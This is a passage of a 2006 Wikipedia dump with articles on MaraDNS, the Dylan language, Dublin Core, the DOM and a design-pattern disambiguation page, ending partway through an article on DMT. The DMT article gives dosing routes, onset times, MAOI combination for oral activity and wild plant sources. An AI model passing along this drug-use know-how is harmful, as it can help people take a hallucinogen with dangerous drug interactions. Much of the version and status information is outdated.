      <timestamp>2006-02-22T14:45:45Z</timestamp>
      <contributor>
        <username>Kasperd</username>
        <id>687489</id>
      </contributor>
      <text xml:space="preserve">'''MaraDNS''' is a [[computer insecurity|security]]-aware Domain Name System ([[Domain Name System|DNS]]) implementation.  It can be configured as an authoritative DNS server, as a &quot;recursive&quot; DNS cache that uses the DNS [[root nameserver]]s, or as a cache which obtains its information from other recursive DNS servers.  

MaraDNS is a simple, modular DNS server; this modular design minimizes memory usage and makes debugging simpler.  MaraDNS comes with extensive documentation, including a full tutorial.  

After a 17 month development and testing cycle, including extensive stress testing of MaraDNS' recursive resolver, MaraDNS 1.0.00 was released on [[June 21]], [[2002]].  At this point, MaraDNS development slowed down but did not stop.  

A number of features have been added to MaraDNS since 1.0.00, including a new DNS zone file format, the ability to host a large number of domains while using very little memory, better [[Request for Comments|RFC]] compliance, and limited [[IPv6]] support.  

MaraDNS 1.2.00 was released on [[December 21]], [[2005]].  The current stable version is 1.2.03.3.

While 1.2 is almost fully compatible with 1.0 data files, 1.0 releases of MaraDNS will continue to be maintained until [[December 21]], [[2007]].

== Criticisms ==

MaraDNS has limited support for being a slave DNS server.  While MaraDNS includes a tool that can receive zone files, this process needs to be automated via an external program, such as [[crontab]], and MaraDNS needs to be restarted to load the zone in question.

While MaraDNS can resolve almost any site that other DNS servers can resolve, it does not resolve all names the same way other DNS servers do.  CNAME and ANY records, in particular, are resolved differently.  

== Licensing ==

MaraDNS 1.0 releases (including all current bug fixes) have been released to the [[public domain]].  MaraDNS 1.2 releases are [[copyright]]ed but are distributed with a liberal [[licence]] (a simplified two-clause [[BSD licence]]) [http://www.maradns.org/license.html].  

== See also ==
* [[Comparison of DNS server software]]

== External links ==

*[http://www.maradns.org/ MaraDNS homepage]

[[Category:DNS software]]</text>
    </revision>
  </page>
  <page>
    <title>Dylan programming language</title>
    <id>8741</id>
    <revision>
      <id>41664274</id>
      <timestamp>2006-02-28T22:47:36Z</timestamp>
      <contributor>
        <ip>217.21.40.1</ip>
      </contributor>
      <text xml:space="preserve">The '''Dylan''' [[programming language]] ([[International Phonetic Alphabet|pronounced]] {{IPA|[ˈdɪlən]}}, like the name) is [[Functional programming|functional]], [[object-oriented]], [[Reflection (computer science)|reflective]] and [[dynamic programming language|dynamic]]. It was created in the early 1990's by a group led by [[Apple Computer]].

Dylan is essentially a cleaned-up and simplified version of [[CLOS]], an [[object-oriented]] programming system built on [[Common Lisp]]. In Dylan, almost all entities (including primitive data types, methods, and classes) are first-class objects. Programs can be written on a continuum from fully dynamically typed to fully statically typed, allowing for both rapid prototyping and later optimization.  Dylan supports multiple inheritance, polymorphism, multiple dispatch, keyword arguments, object introspection, macros, and many other advanced features.

Dylan's main design goal is to be a dynamic language well-suited for developing commercial software.  Dylan attempts to address the performance problem by introducing &quot;natural&quot; limits to the full flexibility of Lisp systems, allowing the compiler to clearly understand compilable units (i.e., libraries). Early versions of Dylan were otherwise similar to existing CLOS systems, but developer feedback in the 1993 era forced them to send the product back into engineering and produce a clearer syntax as well.

==History==
Dylan was created in the early 1990's by a group led by [[Apple Computer]]. At one point in its development it was intended for use with Apple's [[Apple Newton|Newton]] computer, but their implementation did not reach sufficient maturity in time, and they instead developed [[NewtonScript programming language|NewtonScript]] for that project. Apple ended their Dylan development effort in 1995, though they made a &quot;technology release&quot; version available (&quot;Apple Dylan TR1&quot;) that included an advanced [[Integrated development environment|IDE]].

Two other groups contributed to the design of the language and developed implementations: [[Harlequin (software company)|Harlequin]] released a commercial IDE for [[Microsoft Windows]] and [[Carnegie Mellon University]] released an [[open source]] compiler for [[Unix]] systems. Both of these implementations are now open source and maintained by a group of volunteers, the [http://www.gwydiondylan.org Gwydion Maintainers].

==Syntax==
At first, Dylan used Lisp syntax, which is based on [[s-expressions]]:

&lt;code&gt;
 (bind ((radius 5)
        (circumference (* 2 $pi radius)))
   (if (&gt; circumference 42)
       (format-out &quot;Hello big circle! c is %=&quot; circumference)
       (format-out &quot;Hello circle! c is %=&quot; circumference)))
&lt;/code&gt;

The language was then changed to use an [[ALGOL|Algol]]-style syntax,
which would be more familiar to C programmers:

&lt;code&gt;
 begin
  let radius = 5;
  let circumference = 2 * $pi * radius;
  if (circumference &gt; 42)
     format-out(&quot;Hello, big circle! c = %=&quot;, circumference);
  else
     format-out(&quot;Hello, circle! c is %=&quot;, circumference);
  end if
 end
&lt;/code&gt;

Similar to other functional programming languages, the last evaluation in a function is its return value. This means that the following code is a valid function, returning one of two possible values to the caller of the function:

&lt;code&gt;
 define method a_number(isTen :: &lt;string&gt;)
   if (isTen = &quot;10&quot;)
     10;
   else
     11;
   end if;
 end method;
&lt;/code&gt;

==Modules vs. namespace==
In most OO languages the concept of ''class'' is the primary encapsulation system; the language is generally thought of as &quot;a way to make classes&quot;. Modern OO languages often also include a higher level construct known as the ''namespace'' in order to collect related classes together. In addition the namespace/class system in most languages defines a single unit that must be used as a whole, if you want to use the String.concat function, you must import and compile against all of String, or the namespace that includes it.

In Dylan the concepts of compile-unit and import-unit are separated, and classes have nothing specifically to do with either. A ''module'' defines items that should be compiled and handled together, while an ''interface'' defines the namespace. Classes can be placed together in modules, or cut across them, as the programmer wishes. Often the complete definition for a class does not exist in a single module, but is spread across several that are optionally collected together. Different programs can have different definitions of the same class, including only what they need.

What's the difference? Well consider an add-on library for [[regex]] support on String. Under traditional languages in order for the functionality to be included in strings, the functionality has to be added to the String namespace itself. As soon as you do this, the String class becomes larger, and people who don't need to use regex still have to &quot;pay&quot; for it in increased library size. For this reason these sorts of add-ons are typically placed in their own namespaces and objects. The downside to this approach is that the new functionality is no longer a ''part of'' string, instead it is isolated in its own set of functions that have to be called separately. Instead of the clean &lt;code&gt;myString.parseWith(myPattern)&lt;/code&gt; syntax that follows classical OO concepts, you are forced to use something like &lt;code&gt;myPattern.parseString(myString)&lt;/code&gt;, which effectively reverses the natural ordering.

In addition, under Dylan many interfaces can be defined for the same code, for instance the String.concat could be placed in both the String interface, and the &quot;concat&quot; interface which collects together all of the different concatenation functions from various classes. This is more commonly used in math libraries, where functions tend to be applicable to widely differing object types.

A more practical use of the interface construct is to build public and private versions of a module, something that other languages include as a &quot;bolt on&quot; feature that invariably causes problems and adds syntax. Under Dylan the programmer can simply place every function call in the &quot;Private&quot; or &quot;Development&quot; interface, and collect up publicly accessible functions in &quot;Public&quot;. Under [[Java programming language|Java]] or [[C++]] the visibility of an object is defined in the code itself, meaning that to support a similar change the programmer would be forced to re-write the definitions completely, and could not have two versions at the same time.

==Classes==
Classes in Dylan describe &quot;slots&quot; (data members, fields, ivars, etc.) of objects in a fashion similar to most OO languages. All access to slots are via methods, a feature of most dynamic languages. Default getter and setter methods are automatically generated based on the slot names.  In contrast with most other OO languages, other methods applicable to the class are often  defined outside of the class, and thus class definitions in Dylan typically include the definition of the storage only. For instance:

&lt;code&gt;
  define class &lt;window&gt; (&lt;view&gt;)
    slot title :: &lt;string&gt; = &quot;untitled&quot;, init-keyword: title:;
    slot position :: &lt;point&gt;, required-init-keyword: position:;
  end class;
&lt;/code&gt;

In this example the class &quot;&lt;code&gt;&amp;lt;window&amp;gt;&lt;/code&gt;&quot; is defined. The &amp;lt;class name&amp;gt; syntax is convention only, to make the class names stand out—the angle brackets are merely part of the class name. In comparison, in some languages the convention is to capitalize the first letter of the class name or to prefix the name with a &quot;C&quot; or &quot;T&quot; (for example). &lt;code&gt;&amp;lt;window&amp;gt;&lt;/code&gt; inherits from a single class, &lt;code&gt;&amp;lt;view&amp;gt;&lt;/code&gt;, and contains two slots, &lt;code&gt;title&lt;/code&gt; holding a string for the window title, and &lt;code&gt;position&lt;/code&gt; holding an X-Y point for the upper corner of the window. In this particular example the title has been given a default value, while the position has not. The optional &quot;init-keyword&quot; syntax allows the programmer to specify the initial value of the slot when instantiating an object of the class. 

In languages such as C++ or Java, the class would also define its interface. In this case the definition above has no explicit instructions, so in both languages access to the slots and methods is considered &lt;code&gt;protected&lt;/code&gt;, meaning they can be used only by subclasses. In order to allow unrelated code to use the window instances, they would have to be declared &lt;code&gt;public&lt;/code&gt;.

In Dylan these sorts of visibility rules are not considered part of the code itself, but of the module/interface system. This adds considerable flexibility. For instance, one interface used during early development could declare everything public, whereas one used in testing and deployment could limit this. With C++ or Java these changes would require changes to the source code itself, so people won't do it, whereas in Dylan this is a completely unrelated concept.

Although this example does not use it, Dylan also supports [[multiple inheritance]].

==Methods and generic functions==
In Dylan, methods are not intrinsically associated with any particular class; methods can be thought of as existing outside of classes. Like CLOS, Dylan is based on [[multimethods]], where the specific method to be called is chosen based upon the types of all its arguments. The method does not have to be known at compile time, the understanding being that the required functionality may be available or may not, based on the user's preferences.

Under Java the same methods would be isolated in a particular class. In order to use that functionality the programmer is forced to ''import'' that class and refer to it explicitly in order to call the method. If that class is not available, or unknown at compile time, the application simply won't compile.

In Dylan, code is isolated from storage in ''functions''. Many classes have methods that call their own functions, thereby looking and feeling like most other OO languages. However code may also be located in ''generic functions'', meaning they are not attached to a particular class, and can be called natively by anyone. Linking a particular generic function to a method in a class is accomplished this way:

&lt;code&gt;
  define method turn-blue (w :: &lt;window&gt;)
    w.color := $blue;
  end method;
&lt;/code&gt;

This definition is similar to those in other languages, and would likely be encapsulated within the &lt;code&gt;&amp;lt;window&amp;gt;&lt;/code&gt; class. Note the := setter call, which is [[syntactic sugar]] for &lt;code&gt;color-setter($blue, w)&lt;/code&gt;.

The utility of generic methods comes into its own when you consider more &quot;generic&quot; examples. For instance, one common function in most languages is the &lt;code&gt;to-string&lt;/code&gt;, which returns some human-readable form for the object. For instance, a window might return its title and its position in parens, while a string would return itself. In Dylan these methods could all be collected into a single module called &quot;&lt;code&gt;to-string&lt;/code&gt;&quot;, thereby removing this code from the definition of the class itself. If a particular object did not support a &lt;code&gt;to-string&lt;/code&gt;, it could be easily added in the &lt;code&gt;to-string&lt;/code&gt; module.

==Extensibility==
This whole concept might strike some readers as very odd. The code to handle &lt;code&gt;to-string&lt;/code&gt; for a window isn't defined in &lt;code&gt;&amp;lt;window&amp;gt;&lt;/code&gt;? This might not make any sense until you consider how Dylan handles the call to &lt;code&gt;to-string&lt;/code&gt;. In most languages when the program is compiled the &lt;code&gt;to-string&lt;/code&gt; for &lt;code&gt;&amp;lt;window&amp;gt;&lt;/code&gt; is looked up and replaced with a pointer (more or less) to the method. In Dylan this occurs when the program is first run instead, the [[runtime]] builds a table of method-name/parameters details and looks up methods dynamically via this table. That means that a function for a particular method can be located anywhere, not just in the compile-time unit. In the end the programmer is given considerable flexibility in terms of where to place their code, collecting it along class lines where appropriate, and functional lines where it's not.

The implication here is that a programmer can add functionality to existing classes by defining functions in a separate file. For instance, you might wish to add spell checking to all &lt;code&gt;&amp;lt;string&amp;gt;&lt;/code&gt;s, which in most languages would require access to the source code of the string class&amp;mdash;and such basic classes are rarely given out in source form. In Dylan (and other &quot;extensible languages&quot;) the spell checking method could be added in the &lt;code&gt;spell-check&lt;/code&gt; module, defining all of the classes on which it can be applied via the &lt;code&gt;define method&lt;/code&gt; construct. In this case the actual functionality might be defined in a single generic function, which takes a string and returns the errors. When the &lt;code&gt;spell-check&lt;/code&gt; module is compiled into your program, all strings (and other objects) will get the added functionality.

This still might not sound all that obvious, but in fact it is a common problem faced by almost all OO languages; not everything fits into a class construct, many problems apply to ''all'' objects in the system and there's no natural way to handle this.

==See also==
*[[Dylan Server Pages]]

==External links==
*[http://www.gwydiondylan.org/gdref/tutorial/ Getting Started with Dylan]
*[http://www.gwydiondylan.org/ Gwydion Dylan] - host of two optimizing Dylan compilers targeting Unix/linux, Mac OS X, and Microsoft Windows
*[http://www.cis.ufl.edu/~jnw/Marlais/ The Marlais Dylan Interpreter]
*[http://www.dylansource.com/ DylanSource.com] - An excellent compilation of available Dylan tools and learning resources
*[http://www.double.co.nz/dylan/index.htm Dylan Programming Language]
*[http://monday.sourceforge.net/wiki/ Dylan Language Wiki]
*[[Open Directory Project]]: [http://www.dmoz.org/Computers/Programming/Languages/Dylan/ Dylan]

[[Category:Dynamically-typed programming languages]]
[[Category:Functional languages]]
[[Category:LISP dialects]]
[[Category:Programming languages]]
[[Category:Failed Apple initiatives]]

[[de:Dylan (Programmiersprache)]]
[[ru:Dylan (язык программирования)]]</text>
    </revision>
  </page>
  <page>
    <title>Dublin Core</title>
    <id>8742</id>
    <revision>
      <id>41638210</id>
      <timestamp>2006-02-28T18:33:52Z</timestamp>
      <contributor>
        <username>Wwwwolf</username>
        <id>6197</id>
      </contributor>
      <minor />
      <comment>what &quot;rights1&quot;? My ref says &quot;rights&quot;.</comment>
      <text xml:space="preserve">The '''Dublin Core''' is a [[metadata]] standard for describing digital objects (including webpages) to enhance visibility, accessibility and interoperability, often encoded in [[XML]].

It was named so because the first meeting of metadata and web specialists who saw its birth was held in the town of [[Dublin, Ohio]] in the [[United States]].

== The elements ==

The '''Dublin Core Metadata Element Set''', part of the '''Dublin Core Metadata Initiative (DCMI)''' Recommendation (see [[Dublin_Core#References|References]]) consists of 15 optional metadata elements, any of which could be repeated or omitted.

# Title
# Creator
# Subject
# Description
# Publisher
# Contributor
# Date
# Type
# Format
# Identifier
# Source
# Language
# Relation
# Coverage
# Rights

Unlike many other document metadata standards, there is no prescribed order in Dublin Core for presenting or using the elements.  In the list above the &quot;Title&quot; element was put first and the &quot;Rights&quot; element last, but it could just as correctly have been the reverse, or all the elements could have been presented or used in alphabetical order.

There are two ways of using the elements:  With or without extensions.  Using them without extensions means using &quot;DC simple&quot;.  Using them with extensions means using &quot;DC qualified&quot;.  The extensions are called refinements or qualifiers.

For instance, &quot;created&quot;, &quot;valid&quot;, &quot;issued&quot; and &quot;modified&quot; are the recommended refinements of the &quot;date&quot; element.  Thus, dc.date.created would be the name for the element for the date of creation of a document in DC qualified.

Several elements have schemes or a ready made controlled vocabulary.  For instance, the &quot;Type&quot; element has 12 recommended terms: Collection, dataset, event, image, interactive resource, service, software, sound, text, physical object, still image, moving image.

== Application Examples ==
One [[Document Type Definition]] based on Dublin Core is the [http://www.ibiblio.org/osrt/omf/ Open Source Metadata Framework] (OMF) specification. OMF is in turn used by [[ScrollKeeper]], which is used by the [[GNOME]] desktop and [[KDE]] help browsers and the ScrollServer documentation server. [[PBCore]] is also based on Dublin Core. The [[Zope]] [[Zope Content Management Framework|CMF]]'s Metadata products, used by the [[Plone]] and the [[Nuxeo CPS]] [[Content management system|Content management systems]], also implements Dublin Core.

== See also ==
* [[Controlled vocabulary]]
* [[Interoperability]]
* [[Open Archives Initiative]]
* [[Semantic Web]]

== References ==
* [1] [http://dublincore.org/ Dublin Core Metadata Initiative]
* [2] [http://xml.coverpages.org/ni2005-03-21-a.html Dublin Core Metadata Initiative Publishes DCMI Abstract Model] (March 2005) 
* [3] [http://dublincore.org/documents/dcmi-terms/ DCMI Metadata Terms] (June 2005)

[[Category:Knowledge representation]]
[[Category:Library and information science]]
[[Category:Metadata]]
[[Category:Semantic web]]

[[cs:Dublin Core]]
[[de:Dublin Core]]
[[es:Dublin Core]]
[[eo:DCMI]]
[[fr:Dublin Core]]
[[it:Dublin Core]]
[[nl:Dublin Core]]
[[ja:Dublin Core]]
[[no:Dublin Core]]
[[pl:Dublin Core]]
[[sv:Dublin Core]]
[[zh:都柏林核心]]</text>
    </revision>
  </page>
  <page>
    <title>Document Object Model</title>
    <id>8743</id>
    <revision>
      <id>41114900</id>
      <timestamp>2006-02-25T03:35:55Z</timestamp>
      <contributor>
        <username>Hayk</username>
        <id>134446</id>
      </contributor>
      <minor />
      <comment>+ru:</comment>
      <text xml:space="preserve">'''Document Object Model''' ('''DOM''') is a description of how an [[HTML]] or [[XML]] document is represented in an [[object-oriented programming|object-oriented]] fashion. DOM provides an [[application programming interface]] to access and modify the content, structure and style of the document.''

Various interfaces were initially implemented by [[web browser]]s to manipulate elements in an [[HTML]] document through [[JavaScript]]. This prompted the [[World Wide Web Consortium]] (W3C) to come up with a series of standard specifications that defined the ''W3C Document Object Model'' (W3C DOM). The W3C specifications are platform and [[programming language|language]] independent. The previous vendor-specific interfaces were dubbed ''intermediate DOMs''.

Using DOM, the document is accessed in a [[tree (data structure)|tree form]] and this is also the [[data structure]] that most XML parsers (e.g., [[Xerces]]) and [[Extensible Stylesheet Language|XSL]] processors (e.g., [[Xalan]]) have been developed to make use of. Such an implementation requires that the entire content of a document be parsed and stored in memory. Hence, DOM is best used for applications where the document elements have to be accessed and manipulated in an unpredictable sequence and repeatedly. If the application involves a sequential or one-time selective read or write per processed document, DOM presents a considerable overhead. The sequential [[Simple API for XML|SAX]] model is advantageous in such a case in terms of speed and memory consumption.

==Levels==
The W3C DOM specifications are divided into levels, each of which contains required and optional modules. To claim to support a level, an application must implement all the requirements of the claimed level and the underlying levels. An application may also support vendor-specific extensions if they don't conflict with the W3C standards. [[As of 2005]], Level 1 and Level 2, and some modules of Level 3 are ''W3C Recommendations'' which means they have reached their final form.

; Level 0 : The application supports an intermediate DOM, which existed before the creation of DOM Level 1. Examples include the ''DHTML Object Model'', which is the intermediate DOM developed by [[Microsoft]], and the unnamed [[Netscape]] intermediate DOM. Level 0 is not a formal specification published by the W3C but rather a shorthand that refers to what existed before the standardization process.
; Level 1 : Navigation of DOM (HTML and XML) document (tree structure) and to manipulate content (includes adding elements). HTML-specific elements are included as well.
; Level 2 : [[XML namespace]] support, filtered views and [[DOM Events|events]].
; Level 3 : Consists of 6 different specifications: 
:: 1) DOM Level 3 Core; 
:: 2) DOM Level 3 Load and Save; 
:: 3) DOM Level 3 XPath; 
:: 4) DOM Level 3 Views and Formatting; 
:: 5) DOM Level 3 Requirements; and 
:: 6) DOM Level 3 Validation, which further enhance the DOM.

==Use in web browsers==

[[Image:DOM Inspector.png|thumb|240px|right|DOM Inspector inspecting Wikipedia's main page]]
Since each web browser used to exclusively support its own intermediate DOM, [[inter-operability]] problems were abundant. In order to be [[cross-browser]] compatible, i.e. support multiple browsers, large parts of [[Dynamic HTML]] code had to be rewritten for each browser to be supported. A common DOM promised to greatly simplify the development of complex web applications.

W3C DOM Level 1 has been a recommendation since [[1 October]], [[1998]]. The standardization effort did not bring forth an immediate change, since non-conformant browsers such as [[Internet Explorer]] 4x and [[Netscape Navigator|Netscape]] 4.x were still widely used in 2000. [[As of 2005]], large parts of W3C DOM are well supported by common JavaScript-enabled web browsers, including Microsoft Internet Explorer (version 5 (1999), ... version 6 (2001)), [[Gecko (layout engine)|Gecko]]-based browsers (like [[Mozilla Application Suite|Mozilla]] and [[Mozilla Firefox|Firefox]]) and [[Opera (web browser)|Opera]]. Web developers are starting to mostly or solely rely on W3C DOM, since it doesn't preclude from reaching a large audience.

The article [[Comparison of layout engines (DOM)]] shows which methods and attributes may be used safely given certain browser requirements.

==Specifications==
*[http://www.w3.org/TR/REC-DOM-Level-1/ Document Object Model (DOM) Level 1 Specification]
*Level 2 Recommendations:
**[http://www.w3.org/TR/DOM-Level-2-Core/ Document Object Model (DOM) Level 2 Core Specification]
**[http://www.w3.org/TR/DOM-Level-2-Views/ Document Object Model (DOM) Level 2 Views Specification]
**[http://www.w3.org/TR/DOM-Level-2-Events/ Document Object Model (DOM) Level 2 Events Specification]
**[http://www.w3.org/TR/DOM-Level-2-Style/ Document Object Model (DOM) Level 2 Style Specification]
**[http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ Document Object Model (DOM) Level 2 Traversal and Range Specification]
**[http://www.w3.org/TR/DOM-Level-2-HTML/ Document Object Model (DOM) Level 2 HTML Specification]
*Level 3 Recommendations:
**[http://www.w3.org/TR/DOM-Level-3-Core/ Document Object Model (DOM) Level 3 Core Specification]
**[http://www.w3.org/TR/DOM-Level-3-LS/ Document Object Model (DOM) Level 3 Load and Save Specification]
**[http://www.w3.org/TR/DOM-Level-3-Val/ Document Object Model (DOM) Level 3 Validation Specification]
*Level 3 Working Group Notes:
**[http://www.w3.org/TR/DOM-Level-3-XPath/ Document Object Model (DOM) Level 3 XPath Specification]
**[http://www.w3.org/TR/DOM-Level-3-Views/ Document Object Model (DOM) Level 3 Views and Formatting Specification]
**[http://www.w3.org/TR/DOM-Requirements/ Document Object Model (DOM) Requirements]

==See also==
*[[DOM Events]]
*[[Simple API for XML|SAX]] - A set of APIs for accessing and manipulating XML documents in a sequential manner.
*[[JDOM]] - A Java-based document object model for XML that integrates with DOM and SAX and uses parsers to build the document.
*[[Comparison of layout engines (DOM)]]
*[[AJAX]] - A methodology employing DOM in combination with techniques for retreiving data without reloading a page.

==External links==
*[http://www.w3.org/DOM/ W3.org on DOM]
*[http://xml.coverpages.org/dom.html Technology Reports]
*[http://xml.com/pub/rg/DOM_Tutorials Tutorials]
*[http://www.w3.org/2003/02/06-dom-support.html What does your user agent claim to support?]
*[http://www.mozilla.org/docs/dom/reference/levels.html What does each DOM Level bring?]
*[http://msdn.microsoft.com/workshop/author/dom/domoverview.asp About the W3C Document Object Model] (MSDN)
*[http://www.quirksmode.org/dom/contents.html W3C DOM scripts and compatibility tables] (Quirksmode)
*[http://mozilla.org/docs/dom/domref/ Gecko DOM Reference]
*[http://developer.kde.org/documentation/library/cvs-api/khtml/html/namespaceDOM.html khtml Library API Documentation]

*Interfaces for ...
**[http://xml.apache.org/xerces-c/program-dom.html C++]
**[http://www.w3.org/2003/01/dom2-javadoc/index.html Java] - W3C Document Object Model Level 2
**[http://interaction.in-progress.com/developer/dom/ Lisp]
**[http://www.philo.de/xml/downloads.shtml Pascal] ([[Kylix]])
**[http://search.cpan.org/~tjmather/XML-DOM-1.43/ Perl]
**[http://www.php.net/manual/en/ref.domxml.php PHP]
**[http://www.python.org/doc/current/lib/module-xml.dom.html Python]
**[http://libgdome-ruby.berlios.de/ Ruby]
**[http://tclxml.sourceforge.net/tcldom.html TCL]

[[Category:W3C standards]]
[[Category:XML-based standards]]
[[Category:Application programming interfaces]]

[[cs:DOM]]
[[de:Document Object Model]]
[[es:Document Object Model]]
[[fa:مدل شیء‌گرای سند]]
[[fr:Document Object Model]]
[[ko:문서 객체 모델]]
[[it:Document Object Model]]
[[he:DOM]]
[[nl:Document Object Model]]
[[ja:Document Object Model]]
[[pl:Obiektowy model dokumentu]]
[[pt:Modelo de Objeto de Documentos]]
[[fi:DOM]]
[[sv:Document Object Model]]
[[vi:DOM]]
[[zh:文档对象模型]]
[[ru:DOM]]</text>
    </revision>
  </page>
  <page>
    <title>Design pattern</title>
    <id>8745</id>
    <revision>
      <id>40969858</id>
      <timestamp>2006-02-24T04:42:08Z</timestamp>
      <contributor>
        <username>Skorpion87</username>
        <id>959679</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Design pattern''' has a similar meaning in several contexts:
* [[Design pattern (architecture)]], a way of capturing and communicating design ideas in architecture
* [[Design pattern (computer science)]], a standard solution to common problems in software design
* ''[[Design Patterns]]'', the book that gave rise to the study of design patterns in computer science
* [[Pedagogical patterns]], best practices in teaching

{{disambig}}

[[lt:Projektavimo pavyzdys]]
[[vi:Mẫu thiết kế]]
[[fi:Suunnittelumalli]]
[[zh:设计模式]]</text>
    </revision>
  </page>
  <page>
    <title>Dimethyltryptamine</title>
    <id>8748</id>
    <revision>
      <id>40799055</id>
      <timestamp>2006-02-23T02:19:51Z</timestamp>
      <contributor>
        <ip>128.230.231.127</ip>
      </contributor>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| style=&quot;margin-left:1em; margin-bottom:0.5em&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; align=&quot;right&quot;
! colspan=&quot;2&quot; bgcolor=&quot;#cccccc&quot; align=&quot;center&quot; | '''Dimethyltryptamine (DMT)'''
|-
| [[IUPAC nomenclature|Chemical name]]
| align=&quot;center&quot; | 2-(1''H''-indol-3-yl)-&lt;br /&gt;''N,N''-dimethylethanamine
|-
| [[Chemical formula]]
| C&lt;sub&gt;12&lt;/sub&gt;H&lt;sub&gt;16&lt;/sub&gt;N&lt;sub&gt;2&lt;/sub&gt;
|-
| [[Molecular mass]]
| 188.27 g/mol
|-
| [[Density]]
| 1.099 g/ml
|-
| [[Melting point]]
| 49 °C and 74 °C&lt;br /&gt;(two different crystal structures)
|-
| [[Boiling point]]
| 160 °C at 0.8 hPa&lt;br /&gt;(reduced pressure)
|-
| [[CAS registry number|CAS number]]
| 61-50-7
|-
| [[Simplified molecular input line entry specification|SMILES]]
| CN(C)CCC1=CNC2=C1C=CC=C2
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | [[Image:DMT.png|Chemical structure of dimethyltryptamine]]
|}
&lt;!-- Tables End Here --&gt;

'''Dimethyltryptamine''', also known as '''DMT''' and '''''N,N''-dimethyltryptamine''', not to be confused with [[5-MeO-DMT]], is a [[Psychedelics, dissociatives and deliriants | hallucinogenic]] [[tryptamine]], similar in structure to the [[neurotransmitter]] [[serotonin]]. DMT is created in small amounts by the human body during normal metabolism.  Pure DMT at room temperature is a colorless waxy or crystalline solid. DMT was first [[Chemical synthesis|chemically synthesized]] in [[1931]]. It also occurs naturally in many species of [[plants]]. DMT-containing plants are used in several [[South America]]n [[shaman]]ic practices. It is one of the main active constituents of snuffs like [[yopo]] and of the drink [[ayahuasca]].

DMT is not orally active unless it is combined with a [[monoamine oxidase inhibitor]] (MAOI), such as [[harmaline]].  Without an MAOI, the body quickly metabolizes DMT, and it therefore has no significant hallucinogenic effect.

== Hallucinogenic properties ==
DMT is a powerful [[Psychoactive drug|psychoactive]] substance. If DMT is smoked, injected, or orally ingested with an MAOI, it can produce powerful [[entheogen|entheogenic]] experiences including true [[hallucinations]] (perceived extensions of reality). A [[trip sitter]] is often employed to assist the drug user in staying physically and mentally healthy, and, in the case of smoked DMT, to catch the pipe when the user loses awareness of it.

'''Smoked''': If DMT is smoked, the maximal effects last for a short period of time (30 minutes +). The onset after inhalation is very fast (less than 45 seconds) and maximal effects are reached within about a minute.

'''Insufflation''': If DMT is insufflated (snorted through the nostrils) it will last slightly longer than if smoked and has less powerful effects.

'''Injection''': Injected DMT produces an experience similar to inhalation in duration, intensity, and characteristics, although by some accounts it is more emotionally clinical (versus spiritual).

'''Oral ingestion''': DMT, which is broken down by the digestive enzyme monoamine oxidase, is inactive if taken orally, unless combined with a monoamine oxidase inhibitor (MAOI).  The shamanic potion ayahuasca, or yage, is a tea-like admixture of the boiled leaves, bark or roots of a variety of plants, usually including ''[[Psychotria viridis]]'', which contains high levels of DMT, and  ''[[Banisteriopsis caapi]]'', which contains harmala alkaloids that are powerful MAOIs. A common source in the western US is [[Reed canary grass]] or ''[[Phalaris arundinacea]]'', and [[Harding grass]] or ''[[Phalaris aquatica]]''. This invasive grass contains high levels of DMT and other alkaloids . Taken orally with an appropriate MAOI, DMT produces a long lasting (over 1 hour), slow onset, high intensity experience. MAOIs should be used with extreme caution as they can make common over-the-counter drugs and foods toxic.

Induced DMT experiences can include profound time-dilation, visual and audio hallucinations, percieved journeys to paranormal realms, and encounters with spiritual beings or other experiences that, by most first hand accounts, defy verbal or visual description.

In a 1988 study conducted at [[University of New Mexico|UNM]], psychiatrist [[Rick Strassman]] found that approximately 20% of volunteers injected with high doses of DMT had experiences identical to purported [[Abduction Phenomenon|alien abductions]].

{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;250px&quot; style=&quot;border-collapse: collapse; margin: 0 0 0 0.5em&quot;
|-
| bgcolor=&quot;#eeeeee&quot; | [[ATC code]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Bioavailability]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | Metabolism
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[half life|Elimination half life]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Excretion]]
| bgcolor=&quot;#ddeeff&quot; | [[Urine]]
|-
| bgcolor=&quot;#eeeeee&quot; | [[Pregnancy category (pharmaceutical)|Pregnancy category]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Controlled Substance Act|Legal status]]
| bgcolor=&quot;#ddeeff&quot; | US: I CA: III UK: 1/A
|-
| bgcolor=&quot;#eeeeee&quot; | Delivery
| bgcolor=&quot;#ddeeff&quot; | Vaporized, injected, or orally in combination with MAO inhibitors
|-
|}

{| style=&quot;border-collapse: collapse; clear: right; margin: 0 0 0 0.5em&quot; width=&quot;167px&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; align=&quot;right&quot; bgcolor=&quot;#ffffff&quot;
|-
|'''Indicated for:'''&lt;br/&gt;
*?

'''[[Recreational drug use|Recreational]] uses:'''&lt;br/&gt;
*[[Euphoria]]
*[[Psychedelics, dissociatives and deliriants|Hallucinations]]

'''[[Ethics|Unethical]] uses:'''&lt;br/&gt;
*?

'''Other uses:'''&lt;br/&gt;
* [[Mystic]]al Experience
* [[Shaman]]ic
* [[spirituality|spiritual]]/[[Religious]]
|-
|'''[[Contraindication]]s:'''&lt;br/&gt;
* Potentially fatal if currently taking an MAO-Inhibitor, such as many common anti-depressants
* Do not use if suffering from [[Schizophrenia]] or similar conditions, or if such runs in your family.
|-
|}

== Chemistry ==
